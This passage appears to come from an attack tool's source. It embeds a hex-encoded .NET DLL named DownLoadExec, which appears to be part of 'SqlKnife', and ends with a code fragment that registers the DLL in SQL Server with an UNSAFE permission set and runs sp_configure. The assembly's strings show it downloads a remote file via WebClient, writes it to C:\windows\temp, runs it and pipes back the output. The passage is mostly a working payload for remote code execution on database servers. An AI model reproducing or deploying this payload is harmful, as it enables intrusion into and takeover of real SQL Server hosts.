0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300405672610000000000000000E00022200B013000000E00000006000000000000F62C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000A42C00004F00000000400000B802000000000000000000000000000000000000006000000C0000006C2B00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000FC0C000000200000000E000000020000000000000000000000000000200000602E72737263000000B8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000D82C0000000000004800000002000500A0220000CC0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133005008C00000001000011730600000A0A72010000700B72010000700C0272030000706F0700000A2C1A02178D0F00000125161F2C9D6F0800000A25169A0B179A0C2B31730900000A0D020B72070000700920E8030000200F2700006F0A00000A13041204280B00000A7229000070280C00000A0C0607086F0D00000A0872290000706F0E00000A2C0C0872010000702802000006262A1B3006007E0100000200001173040000060A730F00000A0B076F1000000A026F1100000A03281200000A2D0C076F1000000A036F1300000A076F1000000A176F1400000A076F1000000A176F1500000A076F1000000A166F1600000A076F1000000A176F1700000A076F1000000A176F1800000A06731900000A7D010000040706FE0605000006731A00000A6F1B00000A140C076F1C00000A26076F1D00000A076F1E00000A6F1F00000A0C076F2000000ADE130D282100000A096F2200000A6F2300000ADE00076F2400000A2D1A282100000A067B010000046F2500000A6F2300000A3895000000731900000A130408281200000A2D091104086F2600000A26067B010000046F2700000A2C20110472330000706F2600000A261104067B010000046F2500000A6F2600000A26282100000A1C8D0E000001251602A2251703A22518724B000070A22519076F2400000A13051205280B00000AA2251A7283000070A2251B1104252D0426142B056F2500000AA2282800000A6F2300000A067B010000046F2500000A2A0000011000000000870021A800130A0000011E02282900000A2A4E027B01000004046F2A00000A6F2600000A262A42534A4201000100000000000C00000076322E302E35303732370000000005006C000000E8020000237E000054030000F803000023537472696E6773000000004C0700008C00000023555300D8070000100000002347554944000000E8070000E400000023426C6F620000000000000002000001571502000902000000FA0133001600000100000017000000030000000100000005000000050000002A00000005000000020000000100000003000000010000000000E30101000000000006007401D60206009401D60206004A01C3020F00F602000006006103F4010A005E0176020E00850368030600FB01F4010E003A03C30206000202F40106004802BF0306002F01D6020E001603C3020600C801F40106002B02F40106002700F4010E001A02C3020E00D200C3020E005D02C30206003002360006003D0236000A00CB0376020A0027017602000000002D000000000001000100010010000503000015000100010003011000010000001500010004000600B003970050200000000096005E009B000100E8200000000096008C00A00002008422000000008618BD02060004008422000000008618BD02060004008C220000000083001600A600040000000100F20000000100F600000002005003000001005602000002002C030900BD0201001100BD0206001900BD020A003100BD0206006100BD0206003900BD020600710031031A00710073031F004100BD0206004100BA0326008100C6012C0071005A0330003900B50037007100DA011A004900BD02060049000C024A008900E5004F007100E9035400890042034F008900D60359008900C2005E008900B20159008900A30259008900950359005900BD0206009900BD02640049006B006A0049008F0370004900FF000600490091027400A90082002C00490079030600B1001E0179005100A9002C00B90097004F0049009C007E002900C6012C005900130182005900CF017E0071005A0388002900BD02060069004C002C0020002300DE002E000B00AD002E001300B6002E001B00D50063002B00DE0010003D000480000000000000000000000000000000005E0000000200000000000000000000008E005500000000000200000000000000000000008E004000000000000200000000000000000000008E00F401000000000300020000000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C696200446F776E4C6F616445786563006164645F4F75747075744461746152656365697665640052656164546F456E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D65737361676500446F776E6C6F616446696C65007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650074656D7066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E67746800456E64735769746800446F776E4C6F6164457865632E646C6C0053797374656D0052616E646F6D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F00436861720053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E7441726773006172677300436F6E7461696E730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740053797374656D2E4E65740053706C69740057616974466F724578697400576562436C69656E74005374617274007365745F52656469726563745374616E646172644F7574707574007374644F7574707574004E6578740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D7074790000000100032C00002143003A005C00770069006E0064006F00770073005C00740065006D0070005C0000092E00650078006500001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000000000D21894526C70E34092537651897143B400042001010803200001052001011111090705121D0E0E122108042001020E0620011D0E1D030520020808080320000E0600030E0E0E0E052002010E0E0C0706120C12250E1229122D080420001245042001010E040001020E0420010102052001011149052002011C1805200101124D032000020420001251040000125D03200008052001122D0E0500010E1D0E08B77A5C561934E0890306122D040001010E0500020E0E0E062002011C12350801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100020000000000040100000000000000004056726100000000020000001C010000882B0000880D000052534453642B2445170B4E4C8F7D036BAFCF132C01000000493A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C446F776E4C6F6164457865635C6F626A5C52656C656173655C446F776E4C6F6164457865632E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CC2C00000000000000000000E62C0000002000000000000000000000000000000000000000000000D82C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005C02000000000000000000005C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004BC010000010053007400720069006E006700460069006C00650049006E0066006F0000009801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000042001100010049006E007400650072006E0061006C004E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F0070007900720069006700680074000000200000004A00110001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000F83C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;"; } DataSourceHandle::justquery("EXEC sp_configure 'show advanced options',1;");